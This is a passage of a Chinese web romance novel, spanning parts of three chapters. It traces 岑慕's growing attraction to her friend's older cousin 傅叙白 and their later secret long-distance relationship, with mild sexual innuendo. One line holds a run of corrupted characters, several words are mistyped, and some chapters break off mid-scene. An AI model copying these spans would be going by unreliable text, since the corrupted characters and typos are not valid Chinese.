看到她下楼,傅叙白轻抬下颌,往她那边看去。既然都看见了,岑慕也不好不打招呼。她走到傅叙白身旁,小声询问:“还没睡吗?"“暂时不困。”说着,傅叙白把手中的啤酒罐放到桌上。岑慕顺势坐到沙发旁,看着他播放的电影。傅叙白着的一部国外老电影,巧秦很慢,二人之间无言,淡淡沉默流淌在空气中。傅叙白本想拿起桌上还没打开的一罐凉啤酒递给她,动作进行到一半,却又忽然停顿,他偏头问岑慕,“你成年了吗?岑慕被他这问题问的脸颊莫名燥热。“成年了。" 纵使听到这回答,傅叙白还是没把啤酒给她。他点了点头,然后把没喝完的啤酒一饮而尽。他薄唇湿润,睫毛下垂,视线专注地盯在电影上。在他面前,岑慕感觉自己像是乳臭未干的小孩儿。这个年纪的傅叙白,模样清冷,比她大上六岁,坐在他身侧,还能闻到一股若有似无的香味。他头发半干,穿着有些休闲舒适,与那日在宴会上看到的形象不同。今日的他,看起来要随性许多,但五官依旧精致俊美。岑慕此刻还没困意,索性倒了杯冰水,坐在他身旁看着电影,消无聊时光。傅叙白偶尔会跟她礼貌性地攀谈几句,说自己最近这阵子有些失眠,所以半夜会经常下楼看电影 他工作压力大,看电影也是为了让自己有些休息空间。 后来,傅叙白才得知岑慕今晚睡不着,是因为晚上喝了酒的缘故。 他扯唇轻笑: “虽然成年了,可你年纪小,还是要少喝。 岑慕缓缓点头,视线不经意间落到他的脸庞处。 怪不得季霜说傅叙白回国没多久,就把江城的这帮干金小姐迷得神魂颠倒 若是论外表,他的确有这个资本。 似是察觉到她视线,傅叙白淡淡偏头,问她: “怎么了。" 岑慕有些仓促地起身,“我困了,先上楼睡觉,你也早点休息。” 傅叙白清淡应道: “好。" 之后岑慕每次半夜下楼接水喝的时候,都能看到傅叙白在楼下看电影, 她有时候会跟着过去凑凑热闹,有时候只是简单打个招呼。 后来,她在楼下发现了一只无意出现的狸花猫。 那只猫看起来很干净,一看就是在傅家散养的。 她拿了新鲜的鸡胸肉,把食物分给这只狸花猫。 夜半,傅家花园这边正是闷热。 岑慕起身,感觉后背出了一层薄汗。 她抬头瞬间,正好看到楼上阳台处的某道身影. 男人靠在栏杆处,指尖夹着香烟,奶白色烟雾白薄唇中喷薄而出。 他身型优越,一眼就能望见。 只是他站在那里,不知道看了多久。 岑慕忽然就有些不白在,她长睫微动,避开他的视线,往其他方向走去。 季霜却是忽然出来拦住她去向,她挽住岑慕的胳膊,说是今晚带她一起出去玩。 岑慕问她: 季霜冲她眨了眨眼睛,“表哥请客。 "…他请客? 岑慕: 季霜:“对。” 今晚傅叙白难得休息,所以他们在一家清吧这边坐下闲聊。 由于对面坐着两个年纪小的小姑娘,所以傅叙白只是给她们两个点了两杯度数低的果酒 驻场乐队在不远处唱着舒缓的音乐, 清吧这边人不多,环境氛围却很好。 季霜兴奋地跟傅叙白讲着她和岑慕这段时间都玩了什么。 傅叙白看样子是在认真听的。 他指尖漫不经心地点动在桌子上,衬衫袖口微微卷起,露出了骨骼清晰的腕部线条。 季霜劝他:“表哥,你平时就是把自己逼得太狠了,也要出来适当放松下,工作总是做不完的。 傅叙白轻应:“知道了。 季霜跟岑慕使了个眼色,示意她表哥平时就是这个样子,话不多,但是人却很好,每次她没有零花钱了,管傅叙白要,他都会很阔绰的给她一笔 后来,通过季霜跟岑慕的聊天,傅叙白便知道,她过段时间会出国读书,跟季霜要许久不能见面,除了放假,平时都不会回来。 季霜呜咽一声,然后让岑慕去那边如果看到有身材好的外国帅哥,记得给她拍几张照片过来。 岑慕笑着说好,然后无意间碰到傅叙白的眼眸。 很意外的是,这一刻,傅叙白也在看她。 须臾。 他端起桌上的酒杯,浅啜一口。 季霜问他: “表哥,你在国外的时候有没有谈恋爱? 86、同一屋檐下②. 傅叙白后退一步,打算离开她们的房间。 只是在离开之前,岑慕要了他的联系方式。 傅叙白安静两秒,还是把社交账号给了她。 岑慕加了他,等待验证。 五分钟后。 傅叙白那边通过了她的好友申请。 她看着新加的好友,忍不住点开他的头像,对于这个人有些隐秘的好奇欲。 只是,傅叙白在朋友圈展现出来的自己,实在是太少了。 岑慕没办法了解他,所以,她只能通过跟季霜聊天,来更加了解这个人。 季霜次日醒来 只觉得头疼乏力。 她知道自己昨晚喝醉,还是傅叙白和岑慕把她弄回来的,后悔极了 “表哥没骂我吧?”她战战兢兢地问道。 岑慕浅笑:“没有。" “那就好。”季霜松了一口气,“要是惹他生气了,以后该不给我零花钱了。" 人今天计划去露营观星。 山顶, 岑慕无意间询问了几个关于傅叙白的问题。 季霜很敏锐,见岑慕忽然对表哥好奇,便弯腰看她: “你怎么忽然对他这么感兴趣了,按照我对你的了解,你可不是会随便对别人感兴趣的性格。 见她这么说,岑慕也只得及时收住话题,不再去问。 但她跟傅叙白自打加上微信后,不算是完全没联络。 偶尔,傅叙白会给她发来消息,提醒她们房间音乐声小一些。 岑慕收到消息后,赶忙回好的,然后把音乐声调小。 傅叙白半夜从公司回来,开车在外面买了夜宵,会通知她们二人下楼来吃夜宵。 季霜也很意外,纳闷地问道:“你们两个什么时候加的微信?"岑慕含糊道:“就是喝酒那天。”季霜点点头。她觉得奇怪的是,表哥通知她们下楼吃宵夜,第一个通知的不是她,而是岑慕.她心直口快,直接在餐桌上问了傅叙白这个问题。 傅叙白放下手中的筷子,清淡睨她: “你是说我没给你发消息吗?" 季霜:““给你发的消息,一般你隔天才会回。”他薄唇微动,“如果我需要休息的话,那给你发消息有什么意义。听到这话,季霜也忍不住讪讪一笑。这话说的没错,她回复消息的速度的确有些慢。但她绝对不是故意忽略,而是微信里面加的乱七八糟的人太多,有时候发消息过来,很快的就会被顶到下面去了,导致傅叙白几次给她发消息,她都没看见 所以,傅叙白干脆不给她发,转而去提醒岑慕。 只是,她没察觉到的是,偶尔她熟睡的时候,她身边的位置,也会空缺 夏季。 花园这边风景独好。 岑慕坐在秋千上,看着傅叙白正在给院子里面的猫喂食。 “我有几次出来给它喂食,但它胃口一般,就知道它肯定是偷吃过了。" 身前男人抬头,唇角微微扬起,“原来是你喂的它。 岑慕:“我一开始还以为它是流浪猫,但后来看它很干净,不像是流浪的,就知道肯定是家里面人养的,不过你平日那么忙,怎么会有空养猫。 傅叙白:“它之前是流浪猫,把它带回来了。” 傅叙白起身,稍微靠近她,“你快去读书了,不打算提前做做准备吗。 “没什么可准备的。”岑慕懒散的把头靠在一旁,“反正有人给我安排好一切,我只负责读书,其他的什么都不用管。 傅叙白一想,她说的也有道理。 她是岑家的掌上明珠,也是唯一的女儿,自然是受尽了万千宠爱, 沈香薇这段时间确实给岑慕打来了电话,问她那边进度怎么样了,要不要提前回来,但都被岑慕含糊地拒绝了。 她这话说完,傅叙白轻微点头,“一个人在外面,也要记得照顾好自己。” 岑慕听着这话语,忽然就觉得时间过得太快了。 似乎,她还没来得及做什么,就快要到了出国的日子。 可是她仍有些不甘心。 这段时间,她偶尔跟傅叙白在网上聊聊,见面的机会虽然不多,但每次碰见,都是开心的。 她忽然能明白季霜说的那话了。 这样的男人,足够有令人神魂颠倒的本事。 他意气风发,又年轻多金,回国没有多长时间,就在江城立足了威风。 她刚成年,对于男女之事自然有些期待。 只是,她的期待刚开始,就要破灭了。 她之后要出国读书,喜欢傅叙白的女人那么多,她在那边,肯定是没了机会。 想到这,她忍不住幽幽叹气。 她叹气的时候,恰好被傅叙白看到。 他挑眉,问她:“怎么了,有不开心的事情?" 岑慕问他:“近几年你会谈恋爱吗?" 傅叙白沉默好半晌。 “不清楚。” 岑慕:“看来就是有可能了。” 傅叙白: 岑慕:“我还以为你是工作狂呢。 她说这话的时候,难免带点酸味。 傅叙白被她逗笑,“这种事情我不能完全保证,不过我近几年的确没有恋爱的打算。 岑慕:“你的意思是,不保证到时候会不会遇到心动的人? 傅叙白点头,“嗯。 岑慕当然明白这个道理。 傅叙白虽然是个工作狂,可他也是正常男人,若是遇到自己喜欢的,肯定要心动。 到时候她离得那么远,估计就只能干着急了。 想到这,岑慕便有些着急的咬唇。 她想,不管怎么说,她也得试试看。 她睫毛试探地抬起,轻声道: “我是说,如果我 只是,她话还没来得及说完,就被傅叙白打断。 他以过来人的身份,给了她最衷心的劝告。 “你之后若是谈恋爱,要擦亮眼睛,不要被同龄人的花言巧语随便糊弄去了,虽然你已经成年了,但你心性还幼难,很容易上当,女孩子还是要保护好自己,如果真的要谈,也要确定对方的人品再谈。 这话说完,岑慕像是被彻底噎住了。 傅叙白这种聪明人,怎么能看不出来她要说的话。 只是他很体面,又照顾女孩子的心思,所以才没让她把说出口,也是怕她不开心。 岑慕有些泄气,又觉得他不识抬举,竟然没眼光到连她都不喜欢。 她置了气,故意做出洒脱模样。 “这种事情都是你情我愿的,哪有吃亏上当一说,再说了,我要是想谈恋爱,也未必是在外面谈。 傅叙白没懂她的意思,“嗯?" 岑慕有些使了性子,从秋千上起身,直接就上楼了。 她当时说那话,傅叙白的确没明白。 第二天,傅叙白到家,正脱下西装的时候,看到季霜从楼梯口走下来, 暑假这段时间,她跟岑慕几乎都是形影不离,难得见她一个人的时候。 傅叙白瞥她一眼,“今天怎么就你一个人。" 季霜笑着走下来,“你猜猜看。” 傅叙白自然不会猜。 季霜便主动道:“人家岑慕出去约会了,要不是她重色轻友,我怎么会一个人在家这么无聊。傅叙白动作一顿,“约会?"季霜:“对啊,她那么漂亮,自然不缺喜欢她的人,只不过她之前对这种事情都不感兴趣,大概是暑假太无聊了吧,所以想出去见见面,毕竟对方也不是很差劲的人。傅叙白:“你也认识?”季霜:“认识啊,是我们同学,喜欢岑慕很久了,很儒雅很绅士的一个男生,就连约会都约岑慕去听音乐会呢。傅叙白没有回应她这话。这一晚,岑慕没有回来。后来,在傅家也没有看到她身影。据季霜说,她是回自己家那边了,毕竟在这边住太久也不好,她也要回家看看自己的家人,准备下出国的事情。傅叙白偶尔点开微信对话框,看到岑慕的头像,鬼使神差般地点了进去 她年纪小,所以表达欲也旺盛。 从朋友圈内容来看,她这几天过得貌似还算是丰富。 音乐会、法餐、游乐园、美术馆各种各样的地方她都去了。 但她只发了去的地点,并没有发出自己的约会对象。 傅叙白看了一阵,然后就把手机放到旁边。 晚上。 岑慕刚从餐厅里面出来,准备步行前往距离这边不远的音乐厅。 只是,她还没走远几步,就听到身后传来的喇叭声。 她回头,蹙眉想看是谁那么没眼色。 然而,回头瞬间,却看到黑色迈巴赫车窗缓缓摇下,露出来一张精致冷峻的脸庞。 岑慕讶异两秒,然后才开口:“傅叙白?" 傅叙白单手搭在方向盘上,很自然地询问:“去哪儿?” 岑慕没回答他问题,反而问道: “你怎么在这。" 傅叙白俯身,替她打开副驾驶车门。 “我送你。 岑慕:"" 最后,她还是上了车。 车上,岑慕没说自己要去听音乐会,毕竟去那边开车只需要几分钟就到了。 她故意说了一个较远的地方,让傅叙白给自己当司机。 傅叙白边开车边问她最近过得怎么样。 岑慕弯唇,“很开心啊,跟之前没什么区别,我前天还连听了两场音乐会,吃到了好吃的美食。 傅叙白点头:“自己一个人?" 岑慕:“当然不是。" 傅叙白看着她身上漂亮的洋装,“今天也是去约会? 岑慕:“嗯。” 傅叙白:“约会对象呢。" 87、同一屋檐下③ . 对于他的到来,岑慕很意外。她小心翼翼靠近,“你怎么没有通知我,就忽然来了。"傅叙白挑动眉峰:“很意外?”岑慕当然意外。回家就看到了自己的男友站在屋内。 她其实心内有些惊喜,只是傅叙白此刻脸上的表情令她不好表现出太欣喜的模样。 看起来,他似乎是生气了。 傅叙白靠近她,闻着她身上还未完全消散的酒味。“酒味那么重,昨晚喝了多少。"岑慕还有些头疼,“其实不是特别多,只是那酒我从来没喝过,加上玩的太开心了,就有些晕了。说完,她还不忘解释道,“而且我没有在外面玩了一整晚,我是在朋友家里面睡的。“哪个朋友?”傅叙白清淡问道。岑慕:“之前跟你提过的,Bella。傅叙白安静许久,然后拿出手机,给她看着上面的照片,“也包括这些男人?" 岑慕眨动睫毛,“你什么时候关注了我?”傅叙白没回答她这个问题,脸色冷冰冰,似乎是一副吃了醋的模样,岑慕赶忙解释:“他们喝了几杯之后就离开了,而且也不是我邀请的,只是Bela的好友,我跟你保证,昨晚我喝醉之后,就只有我跟Bela单独在一起。傅叙白点点头,意识到自己的冷淡可能有些吓到她了。“我相信你, 你不是会做出那种事情的人。岁慕抿唇,问道:“你是因为看到了我发的这照片所以飞过来的?" 傅叙白捏了捏眉心,还没有完全从疲惫中恢复过来。 他的确是看到照片后,出于担心,直接就飞来了她这边。 他那边还有一些事情没处理完,不过不重要,交代给手下的人处理就好,看到她安全,他便放心了。 所以这便是傅叙白一开始没打算谈恋爱的原因。 不管怎么说,身边有个牵挂,总是会令他分心。 他重新坐回沙发上,跟助理交代着公司那边待处理的事宜。 见傅叙白脸色清冷地交代着公务事,岑慕有些忐忑地坐到他身边。 他们都一个月没见面了,好不容易见面,傅叙白还是一副冷淡模样。但不管怎么说,她昨晚忘记回家,也是她的不对。可岑慕也没有太多的罪恶感,毕竟她只是在朋友家借宿了一晚,又没有做什么亏心事,她百无聊赖地伸出指尖,戳着傅叙白坚硬的手臂,问道:“你这么早就赶过来了,有没有吃饭。”傅叙白余光看到她纤细的指尖故意触碰在手臂上。 他垂眸,低声道: “吃过了。" 岑慕: “那緗?挷禿楣君镛龅冩巜筐你泡杯红茶?" 须臾。 傅叙白似乎是交代完了公务事。 他起身,再次看向腕表,“我出去处理个事情,晚点再回来跟你见面。 岑慕瞪大服睛,有些不可思议地看向他。 他刚来,就要走? 但看傅叙白这样子,不像是骗她。他起身,还没走到门口那边,沙发上的抱枕就向他扔了过来,岑慕咬唇,睫毛微颤,带着怨气地说道:“你要是走了,以后再也不许来我这里。傅叙白背影停顿几秒,然后继续往前走去见他这次是真的走了,岑慕简直要气疯了。果然跟她猜想的差不多,傅叙白根本就没有把她放在心上,他今天竟然敢真的一走了之。怪不得Bella私下偷偷跟她聊天的时候,说一个男人如果真的喜欢另一半的话,不可能仅仅局限于接吻,真正的爱肯定是充满占有欲的。他们两个人见面机会少,每次见面的时候,大多数都是岑慕在诉说自己这段时间发生了什么。般情况下,傅叙白都是一个很好的倾听者。他会给她带来鲜花和礼物,然后陪她品尝红酒,最后赠予她一个缱绻的热吻,第二天再离开。岑慕一开始觉得这样的相处模式还算是正常,可听到Bela那话之后,也会在心里面猜测傅叙白是不是不在乎自己。傅叙白打开门,离开这边,剩下生气中的岑慕坐在沙发上。她本以为傅叙白就这么一走了之了,不料,几秒后,傅叙白再次进来,他把送给她的花带进屋内,然后转手关上了门。没多久,他手机再次响了起来,但他却挂断了。 短短一段时间,岑慕的心情像是在坐过山车一般。 眼看着他走出去,又看着他进来,她心情起起伏伏的,完全的不受自己控制。 傅叙白挂断电话之后,把手机扔到一旁的桌子上,他解开领口扣子,似是有些无奈的俯身撑在她身侧,然后认真询问她. "为什么生气? 岑慕:“你在故意躲我。 傅叙白倒也不是故意躲她,而是真的有事情要出去谈。 而且,他也觉得自己此刻应该出去冷静一下。 如果再跟岑慕同处一室,也许他会做出什么事情也说不准。 他内心完全没有表面看着这么漾洒自在,反而,昨天看到她发出来照片的那一刻,他已经开始不舒服了。 他的女朋友,正在跟其他男人一起参加聚会。 虽然他知道,这只是正常社交,但他的占有欲还是令他没办法完全静心工作。 他给岑慕打了电话,那边却是始终无人接听。 最后,他选择直接飞来这边。 岑慕今年不过十九岁,正是社交爱玩的年纪。 他们两个谈了也有一段时间,所以他已经充分的了解岑慕。 她表面是乖乖女,私下却很有自己的想法,偶尔也会有些小叛逆。 傅叙白跟她谈恋爱,甚至是地下恋,有时候她母亲打电话过来,岑慕都要装作正在学习的模样。 但在接起电话的前两秒,她甚至还在投入地与他接吻,手掌还会钻到他紧实的腹肌上,故意吃他豆腐。 对于她这种逾越行为,傅叙白一般都是默许的。 可这也让傅叙白十足矛盾,所以他在尽力的克制着。 但他也没有自己想象的那么厉害。 偶尔,岑慕会故意在他要睡觉的时候打来电话, 傅叙白那时候要休息,她却偏要来哄他睡觉。 他工作压力大,有时候也会失眠头疼,所以他需要一些解压手段来排解。 岑慕在电话里面撒娇,惹得傅叙白更加失眠。 后来,他索性把手机放到一旁。 他那边很安静,岑慕觉得奇怪,忍不住发问: “你睡了?" 很久后,才传来男人低哑的声音。 “还没。 岑慕小声道: “那你为什么不说话?" 傅叙白:“你说就好,我在听。” 岑慕虽然不在意自己多说一些,可她还是敏锐的察觉到异常,傅叙白偶尔会传来几声压抑的低喘声,那声音停在耳朵里面酥酥麻麻的,让人耳膜都震颤 她听着脸红,却又忍不住想继续听。 但她年纪小,不经人事,根本不知道那声音代表了什么。 所以她也不知道,傅叙白在她面前忍耐了多久。 他这个年纪,正是需求最旺盛的时候。 傅叙白尊重她,保护她,所以一直才迟迟没碰她。 但没想到的是,换来的是岑慕怒气冲冲的指责。 “你根本就不喜欢我。”她竖起眉毛,带着任性地说 傅叙白情绪一如既往的稳定,“从哪里得来的这个结论?" 岑慕虽然平时很少跟他计较陪伴少这种事,可若是生气了,还是会忍不住碎碎念。 傅叙白听着她说的那些东西,无非就是嫌弃他工作多,不理她,甚至来了这边,也要拿工作搪塞她. 他听过之后,淡淡抬睫,回应道: “这些不是你事先都知道的前提吗。 岑慕微微怔住。 傅叙白:“我还以为,你早就做好了心理准备,看来,你还是在意我不能经常陪伴在你身边的这件事情。 岑慕有些词穷。 其实她也不是真的在意,只是今天生气,才故意说的气话。 然而,傅叙白却很在意她说出来的那番话。 “没有给你足够多的陪伴,的确是我的不好,你这个年纪,或许应该找个跟你同龄人谈恋爱才是最优选择,所以,你现在是后悔了吗?" 他认真地盯看今慕的双眸,试图从她眸中得到答案 岑慕唇瓣微动,怎么也说不出后悔的话. 因为她从头到尾,根本就没有后悔过。 可此刻傅叙白这样直白严肃的眼神盯着她,让她内心也在紧张纠结着, 他高高在上地凝视她,宛如一个上位者,这种感觉,令岑慕格外不爽。 她故意岔开话题,“那你每次来找我,是为了消遣还是想我?" 她想,要是傅叙白说想她,她就给他一个台阶下。 毕竟,这男人往日最会说些漂亮话了。 虽然他之前说自己不会哄女孩子开心,可岑慕却发现他很会哄人,不仅是礼物送的勤快,就连说话也很好听 可偏偏,今天傅叙白就是不如她的意。 “消遣?”他重复着她说的两个字,唇角微勾,额头与她相抵,缓缓道,“你是指专门飞来这边跟你接吻吗? 岑慕:“ 傅叙白安静几秒,“我平时工作多,跟你接吻,确实挺爽的。他一改往日温润,说的话忽然有些放肆,倒是惹得岑慕脸红了 她咬唇,正欲说些什么。 傅叙白的话却是还没说完。他低头,故意咬住她耳垂,然后喷薄出热气,看着怀中少女忍不住瑟缩,他满意地垂眸,然后一字一句道“不仅是跟你接吻,有时候听到你的声音,看到你的照片,我都会很有感觉。之后,傅叙白把自己做的那些事情都告诉岑慕。岑慕就算是再单纯,也该明白傅叙白的意思了。 他竟然对她做出这种事情。她羞愤难耐,瞪向他,骂道:“臭流氓。"傅叙白今日是真的被她惹不开心了。先是彻夜不归,然后故意找茬,现在还要说出类似于分手的话题他早该知道,这个处于叛逆期的小女孩儿没什么良心。他每个月抽出时间专门飞来看她,给她准备喜欢的礼物,还要哄她睡觉,结果她一个不开心,就要把他做出来的这些事情通通抹掉,最后给他扣上一个消遣的帽子。他傅叙白就算再无聊,也不至于百忙之中飞到国外来找她消遣。